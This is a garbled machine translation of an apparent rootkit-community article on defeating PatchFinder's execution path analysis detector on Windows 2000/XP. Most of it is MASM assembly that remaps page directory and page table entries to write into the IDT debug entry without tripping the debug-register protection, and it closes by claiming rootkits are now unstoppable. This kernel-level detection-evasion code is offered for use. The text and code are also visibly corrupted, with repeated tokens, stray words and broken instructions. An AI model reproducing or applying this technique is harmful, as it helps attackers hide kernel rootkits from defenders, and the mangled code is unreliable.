[Introduction] PatchFinder is a very clever program that is based on EPA (execution path analysis) technology to detect ROOTKIT invaded the kernel. Appendix 1 and 2 Let you know how it works. This article will provide a method of winding the EPA. [Method] EPA is based on the single-step mode of the Intel processor, using an interrupt descriptor table (IDT) 0x01 inlet. In order to prevent rootkit from modifying this entry, it uses debug registers (DR0, DR1) to protect debugging handler (very good ideas). The 0x1 entry is protected by the DR0 register, and the DR1 register is used to protect the interrupt handler. (Note 1 :) However, let's read the intermission [3]: "Each debug address register (DR0 to DR3) saves the linear address of the 32-bit breakpoint." Note: Linear address! Under Windows 2000 / XP, the linear address is converted to a physical address by paging mechanism. Suppose the base address of the IDT is in the 0x8003F400, saved in idtr, then the IDT's 0x01 entry address is 0x8003F408. Intel's description of IDTR: "The base address indicates the IDT 0x00 inlet address." Windows 2000 / XP is mapped to the page directory pointed to by the CR3 register to the linear address 0xc0300000. Linear addresses are composed of directory, table, and offset. We convert 0x8003F408 to physical addresses by paging mechanisms (from experiments). Now that we have to do is to create a buffer, get the pointer to the buffer and modify the page directory and the page table, make this buffer point to the physical address 0x03f00. Then, what is written to this buffer will be written to IDT and does not trigger the protection mechanism of PATCHFINDER. The debug register is at all not to protect memory because they cannot protect physical memory. [Source code] Here is the source code, compiled by Masm V8.0. Because I like assembly language :-) Full source code can be found at www.rootkit.com.
; --- Defining IDTR Structure ------- Didtr Struct; IDTRDLIMIT WORD? IBASE DWORD? Didtr Ends; --------------------- ByEPassidtProtection PROC LOCAL dbgHandler: DWORD LOCAL myIDT: DIDTR LOCAL idtbase: DWORDLOCAL idtbaseoff: DWORDLOCAL idtPDE: DWORDLOCAL idtPDEaddr: DWORDLOCAL idtPTE: DWORDLOCAL idtPTEaddr: DWORD LOCAL varbase: DWORDLOCAL varbaseoff: DWORDLOCAL varPDE: DWORDLOCAL varPDEaddr: DWORDLOCAL varPTE: DWORDLOCAL varPTEaddr: DWORD LOCAL diffoffset: DWORD pushad; allocate a memory page size (from nonpaged pool) invoke ExAllocatePool, NonPagedPoolMustSucceed, 01000hmov varbase, eaxcli; remember recover invoke DisablePageProtection; for XP, a very old technique sidt myIDTmov Regmon used eax, myIDT.ibaseadd EAX, 08HMOV IDTBASE, EAX; IDTBASE = IDT base address 8 byte and Eax, 0FFC00000H; Get the directory index of the IDT address SHR EAX, 22SHL EAX, 2; multiply 4 MOV EBX, 0C0300000 = Page Category Add EBX , EAX; EBX = [page directory directory index * 4] MOV IDTPDEADDR, EBX MOV EAX, [EBX] MOV IDTPDE, EAX; EAX = IDT address page directory entry (PDE) MOV Eax, IDTBaseand Eax, Offfh; Get IDT The address of the address is 12 digits = page Offset MOV IDTBASEOFF, EAX MOV EAX, IDTBaseshr Eax, 12; Get the IDT address of 12-bit SHL EAX, 2; multiply 4 MOV EBX, 0C000 0000h; Process Page Table Maps Add EBX, EAXMOV IDTPTEADDR, EAX, and EBX] MOV IDTPTE, EAX, PTE MOV Eax, Varbase and Eax, PTE MOV Eax, Varbase and Eax, PTE MOV EAX, Varbase and Eax, 0FFC00000h; Get varbase page directory index shr eax, 22shl eax, 2 mov ebx, 0C0300000hadd ebx, eaxmov varPDEaddr, ebxmov eax, [ebx] mov varPDE, eaxmov eax, varbaseand eax, 0FFFhmov varbaseoff, eax mov eax, varbaseshr eax, 12shl eax, 2 mov ebx, 0C0000000hadd ebx, eaxmov varPTEaddr, ebx mov eax, [ebx] mov varPTE, eax mov eax, varPDEaddr; modified PDE to and IDT0x01 like mov ebx, idtPDEmov [eax], ebxmov eax, varPTEaddr; modified PTE For the same MOV EBX, IDTPTEMOV [EAX, EBX MOV EBX, IDTBASEOFF; corrected page as the same MOV EBX, VARBASEOFFSUB EBX, EBX, VARBASEOFFSUB EBX, EBX; now we can use the linear address to write things within the IDT 0x01 descriptor without Trunge the debug register MOV Eax, Varbasemov DWORD PTR [EAX EBX], 0Deadbeefh MOV Eax, Varpdeaddr;
Restore the original value mov ebx, varPDEmov [eax], ebx mov eax, varPTEaddr; restore the original value mov ebx, varPTEmov [eax], ebx invoke EnablePageProtection; restore registers CR0 WP flag sti popadret BypassIDTProtection ENDP; ::::: ::::: :::::::::::::::::::::: ::::::::::::: EnablePageProtection Proc Push Eaxmov Eax, Cr0and Eax, 0FffeffHmov CR0, EaxPop EaxRet EnablePageProtection endp; :::::::::::: ::::: :::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::: :::::::::::::::::::::: ::::::::::: [Rootkit's future] Unfortunately, this method makes EPAs useless. If Microsoft does not change its security structure, there is no way to prevent roookits in the future. Future rootkits will be available on page mechanisms, which has unlimited possibilities. Once you enter Ring 0, you will always be in Ring 0. [Reference] [1] Joanna Rutkowska, Advanced Windows 2000 Rootkit Detection (Advanced Rootkit Detection Technology) [2] Joanna Rutkowska, Detecting Windows Server Compromises with PatchFinder2 [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3 Note 1: This The picture can't draw, that is, the reader is not necessarily to see (because the painting is too simple -_-). I am here to supplement the principle of protecting the address with debug register. The first is DR0-DR4 These four tester saves 4 linear addresses, and then the four addresses are related to the associated bits of the DR6 register and check the 4 addresses.